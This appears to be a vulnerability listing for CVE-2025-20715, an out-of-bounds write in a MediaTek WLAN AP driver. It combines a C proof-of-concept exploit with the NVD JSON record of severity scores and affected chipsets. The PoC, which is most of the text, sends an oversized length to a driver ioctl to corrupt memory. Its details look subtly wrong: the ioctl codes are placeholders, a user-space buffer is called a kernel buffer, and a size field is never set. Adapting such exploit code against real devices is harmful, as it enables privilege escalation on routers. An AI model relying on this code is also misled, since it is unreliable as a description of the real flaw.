CVE-2025-20715

# CVE-2025-20715 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern. # The actual exploit requires kernel-level access and specific driver interaction. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // IOCTL command for WLAN AP driver (example, actual values vary by platform) #define WLAN_AP_IOCTL_SET_CONFIG 0x1001 #define WLAN_AP_IOCTL_SEND_FRAME 0x1002 // Structure representing the vulnerable configuration buffer typedef struct { unsigned int data_len; // User-controlled data length (not properly validated) unsigned int buf_size; // Actual allocated buffer size unsigned char *data; // Pointer to data buffer } wlan_ap_config_t; /* * Vulnerable function pattern in the WLAN AP driver: * The driver copies 'data_len' bytes from user buffer without checking * if 'data_len' exceeds 'buf_size', causing an out-of-bounds write. */ int trigger_oob_write(int fd, unsigned int malicious_len) { wlan_ap_config_t config; unsigned char local_buf[256]; // Fixed-size kernel buffer config.data_len = malicious_len; // Attacker controls this value config.data = local_buf; // The driver performs: memcpy(kernel_buf, user_data, config.data_len) // without validating config.data_len <= sizeof(kernel_buf) // This causes out-of-bounds write when malicious_len > 256 if (ioctl(fd, WLAN_AP_IOCTL_SET_CONFIG, &config) < 0) { perror("ioctl failed"); return -1; } printf("OOB write triggered with length: %u\n", malicious_len); return 0; } int main(int argc, char *argv[]) { int fd; unsigned int overflow_size = 512; // Exceeds the 256-byte buffer // Open the WLAN AP driver device node fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("Failed to open WLAN AP device"); printf("Note: This PoC requires a vulnerable MediaTek device with WLAN AP driver\n"); return -1; } printf("[*] CVE-2025-20715 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[*] Attempting to trigger out-of-bounds write...\n"); trigger_oob_write(fd, overflow_size); close(fd); return 0; }

{"cve": {"id": "CVE-2025-20715", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:36.103", "lastModified": "2025-10-15T18:40:52.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00421152; Issue ID: MSV-3731."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}